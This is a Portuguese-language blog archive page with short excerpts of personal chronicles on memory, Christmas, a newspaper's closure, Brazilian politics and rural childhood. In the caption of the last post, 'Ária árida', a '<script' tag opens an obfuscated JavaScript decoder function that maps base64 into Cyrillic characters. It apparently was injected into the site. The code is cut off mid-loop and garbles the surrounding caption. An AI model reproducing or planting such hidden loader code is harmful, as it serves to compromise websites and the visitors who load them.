Archive for the ‘Crônicas’ Category

Sou do tempo que…

quinta-feira, fevereiro 26th, 2015

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Sou do tempo que, para falar com os amigos, a gente só tinha algumas opções: telefone, telefone celular, skype, twitter, facebook, whatsapp…

Sou do tempo que a gente estava lutando contra essa babaquice de norte, nordeste, sudeste, sul e centro-oeste. (mais…)

A origem do silêncio

segunda-feira, dezembro 29th, 2014

Às vezes, enquanto tomam umas e outras esperando o sol cair, eles ficam em silêncio. Embora ambos sejam bastante comunicativos, daqueles tipos que deixam todo mundo bem à vontade – porque na presença deles ninguém precisa se preocupar com a produção do assunto – e, mais que isso, daqueles tipos que deixam todo mundo à vontade sem ultrapassar os limites do desagradável, embora sejam assim, às vezes, especialmente quando estão a sós, só os dois, ficam em silêncio. (mais…)

A dor de todos os natais

quinta-feira, dezembro 18th, 2014

O Natal dói em mim. Mas, primeiro, vamos ao contexto.

Meio século se passou sem que eu pudesse decifrar o significado do Natal. A principal razão talvez se justifique no fato de que não sou religioso. Isto é, não tenho religião. Eu respeito as religiões, mas não comungo com elas, por assim dizer. Assim, permaneço a certa distância do caráter místico sobre o Cristo aniversariante, mas admiro o mítico, o caráter mítico. (mais…)

Quando Franco Nero me salvou

quarta-feira, dezembro 3rd, 2014

Tínhamos enfrentado uma tarde pesadíssima naquele verão do ano 2000. Talvez uma das piores de nossas vidas profissionais. Havíamos participado de uma reunião em que foi feito o comunicado oficial do fechamento do jornal onde trabalhávamos. (mais…)

A vida passando

sexta-feira, novembro 28th, 2014

Aconteceu hoje, sexta-feira.

Estávamos sentados, dois homens e uma mulher, discutindo trabalho num local público no momento em que passou uma amiga com a filha. Filha = uma bela adolescente que veio nos beijar. (mais…)

O exorcismo do Simca Chambord

quarta-feira, novembro 26th, 2014

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Esta noite, ele voltou.

Mas vamos contar desde o início.

Há vários episódios que considero sobrenaturais em minha vida. O primeiro deles se passou ainda na infância. Eu devia ter uns quatro ou cinco anos. Mas me lembro perfeitamente.

Foi assim. (mais…)

Gente folgada

segunda-feira, novembro 24th, 2014

A poucos metros de onde ela está, uma multidão atira-se à rua tão logo o verde acende para os pedestres, uma procissão que se esvazia em segundos para dar novamente passagem aos carros. Os motoristas já estão impacientes sob o sol escaldante do meio da tarde no centro de Bauru.

Ela observa a cena segurando um guarda-chuva. (mais…)

Papo com meu Blog

quinta-feira, novembro 6th, 2014

– E aí, meu Blog, blz? Há quanto tempo…

– Fala aí, Marcião.

– Estou meio em falta com você. (mais…)

Tese sobre monstros

quinta-feira, outubro 9th, 2014
Tubarões petistas e tucanos cercam nosso barquinho à deriva

Tubarões petistas e tucanos cercam nosso barquinho à deriva

Dilma diz que o Brasil não quer a volta dos monstros do passado. Aécio rebate: o país tem medo dos monstros do presente.

Pra dizer a verdade, tenho medo dos dois.

Mas, afora as metáforas, o monstro realmente visível neste momento é Aécio. E foi o PT quem o criou. (mais…)

Ária árida

terça-feira, agosto 26th, 2014
Público durante o show de Léo Canhoto e Robertinho, na Fazenda Barra Gr<script type=

function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5 Público durante o show de Léo Canhoto e Robertinho, na Fazenda Barra Grande, em Tibiriçá (Bauru)

No te apures ya más, loco
porque es entonces cuando las horas
bajan, el día es vidrio sin sol

(Trecho da canção “Bajan”, Pescado Rabioso)

Lá fora, o vento morno mexe levemente as folhas do coqueiro. A noite caiu não faz muito tempo e as estrelas começam seu balé de brilhos prateados. Nós já estamos deitados. É o sítio lá pelo início da década de 1970. Aqui as horas baixam mais cedo. (mais…)